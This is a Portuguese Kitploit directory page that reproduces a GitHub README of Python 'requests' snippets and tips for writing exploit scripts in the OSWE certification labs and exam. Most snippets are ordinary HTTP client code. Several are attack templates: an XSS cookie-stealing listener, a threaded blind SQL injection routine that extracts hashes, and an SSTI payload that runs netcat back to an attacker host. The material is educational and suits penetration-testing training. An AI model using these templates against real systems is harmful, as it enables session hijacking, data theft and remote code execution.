Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
exploit-writing-for-oswe — Tips on how to write exploit scripts (faster!) | Kitploit
Ferramentas/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload Development
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tips on how to write exploit scripts (faster!)

Ver Repositório
591112há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Escrita de Exploits para OSWE

Contexto

O quê

Este repositório contém uma lista de trechos e dicas úteis referentes à escrita de scripts de exploit nos laboratórios e no exame de certificação OSWE.

Alguns exemplos aqui podem ir contra certas práticas de programação, mas nosso objetivo final é escrever o script de exploit de forma rápida e correta.

A seção Trechos de Código é um ótimo lugar para começar se você não tem experiência no uso da biblioteca requests ou é novo em Python. Caso contrário, sinta-se à vontade para pular para a seção Código Reutilizável ou para a seção Dicas.

Por quê

  • Embora existam muitos write-ups, análises e anotações sobre a certificação, poucos recursos focam especificamente no processo de escrita de exploits.
  • Escrever o script de exploit pode ser intimidador, especialmente para quem é novo em Python ou tem pouca experiência em interagir com aplicações web por meio de código.
  • O tempo gasto na identificação de vulnerabilidades e na documentação de um relatório de exame pode variar consideravelmente, mas o tempo gasto no desenvolvimento do script de exploit pode ser minimizado e mantido constante se for bem dominado.

Índice

  • Escrita de Exploits para OSWE
    • Contexto
      • O quê
      • Por quê
    • Índice
    • Trechos de Código
      • Modelo Inicial
      • Imports úteis
      • Usando a biblioteca requests
        • Enviando a requisição HTTP mais simples
        • Especificando diferentes métodos HTTP
        • Lendo a resposta HTTP
        • Enviando dados como query string na URL (Usando o argumento params)
        • Enviando dados como query string no corpo (Usando o argumento data)
        • Enviando dados como JSON no corpo (Usando o argumento json)
        • Enviando um arquivo no corpo (Usando o argumento files)
        • Definindo cabeçalhos HTTP (Usando o argumento headers)
        • Definindo cookies HTTP (Usando o argumento cookies)

Trechos de Código

Modelo Inicial

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

Imports úteis

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

Usando a biblioteca requests

Enviando a requisição HTTP mais simples

root@kitploit:~
resp_obj = requests.get("https://github.com")

Especificando diferentes métodos HTTP

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

Lendo a resposta HTTP

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

Enviando dados como query string na URL (Usando o argumento params)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

Enviando dados como query string no corpo (Usando o argumento data)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

Enviando dados como JSON no corpo (Usando o argumento json)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

Enviando um arquivo no corpo (Usando o argumento files)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

Definindo cabeçalhos HTTP (Usando o argumento headers)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

Definindo cookies HTTP (Usando o argumento cookies)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

Desabilitando o acompanhamento de redirecionamentos 3XX (Usando o argumento allow_redirects)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

Interagindo com um servidor HTTPS não verificado (Usando o argumento verify)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

Enviando requisição através de um proxy HTTP (Usando o argumento proxies)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

Criando uma Session

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

Definindo cookies persistentes

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

Definindo cabeçalhos persistentes

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

Solução de Problemas

Use o Wireshark e filtre por requisições HTTP

  1. Abra o Wireshark
  2. Selecione a interface VPN (ex.: tun0)
  3. Digite http na barra de filtros.

Imprima o conteúdo da requisição HTTP

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

Encaminhe a requisição HTTP pelo Burp Suite e inspecione

  1. Abra o Burp Suite
  2. Navegue até a aba "Proxy" e defina "Intercept" como "On".

Código Reutilizável

Servindo arquivos via HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

Roubando cookies HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

Acelerando injeções SQL

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

Dicas

Faça uma verificação de sanidade após cada requisição HTTP usando assert

  • Detecte se um webshell foi realmente enviado antes de tentar acioná-lo
  • Detecte se a autenticação foi bem-sucedida antes de explorar funcionalidades autenticadas

Exemplo:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

Imprima mensagens significativas após cada etapa

  • Ação sendo iniciada/finalizada OU
  • Cookies/tokens/arquivos/valores que foram obtidos

Exemplo:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

Separe cada etapa de exploração em sua própria função

Exemplo:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

Crie um objeto Session global para que ele não precise ser explicitamente passado a cada chamada de função

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

Crie uma string global BASE_URL e construa as URLs necessárias a partir dela

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

Para forçar todas as requisições HTTP a passarem pelo Burp Suite sem usar o argumento proxies, defina a variável de ambiente HTTP_PROXY / HTTPS_PROXY ao executar

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

Aplique esquemas de codificação/decodificação para permitir a transmissão segura de payloads

  • Base64
  • Hexadecimal

Use """ para criar a string do payload se ela contiver aspas simples (') e duplas (")

Exemplo:

root@kitploit:~
payload = """This is a '. This is a "."""

Acelere injeções SQL usando multithreading

Veja Acelere as injeções SQL.

Use um cookie de usuário autenticado fixo (hardcode) ao desenvolver exploits para funcionalidades autenticadas

Especialmente se muitas etapas demoradas tiverem que ser feitas para obter uma sessão autenticada

Exemplo:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

Evite usar f-strings (f"") ou str.format se o payload contiver muitas chaves ({})

Duplicar cada chave apenas para escapá-las pode ser trabalhoso e propenso a erros. Em vez disso, use placeholders simples e faça um .replace()!

Exemplo:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
Baixar ferramenta
  • Desabilitando o acompanhamento de redirecionamentos 3XX (Usando o argumento allow_redirects)
  • Interagindo com um servidor HTTPS não verificado (Usando o argumento verify)
  • Enviando requisição através de um proxy HTTP (Usando o argumento proxies)
  • Criando uma Session
  • Definindo cookies persistentes
  • Definindo cabeçalhos persistentes
  • Solução de Problemas
    • Use o Wireshark e filtre por requisições HTTP
    • Imprima o conteúdo da requisição HTTP
    • Encaminhe a requisição HTTP pelo Burp Suite e inspecione
  • Código Reutilizável
    • Servindo arquivos via HTTP
    • Roubando cookies HTTP
    • Acelerando injeções SQL
  • Dicas
    • Faça uma verificação de sanidade após cada requisição HTTP usando assert
    • Imprima mensagens significativas após cada etapa
    • Separe cada etapa de exploração em sua própria função
    • Crie um objeto Session global para que ele não precise ser explicitamente passado a cada chamada de função
    • Crie uma string global BASE_URL e construa as URLs necessárias a partir dela
    • Para forçar todas as requisições HTTP a passarem pelo Burp Suite sem usar o argumento proxies, defina a variável de ambiente HTTP_PROXY / HTTPS_PROXY ao executar
    • Aplique esquemas de codificação/decodificação para permitir a transmissão segura de payloads
    • Use """ para criar a string do payload se ela contiver aspas simples (') e duplas (")
    • Acelere injeções SQL usando multithreading
    • Use um cookie de usuário autenticado fixo (hardcode) ao desenvolver exploits para funcionalidades autenticadas
    • Evite usar f-strings (f"") ou str.format se o payload contiver muitas chaves ({})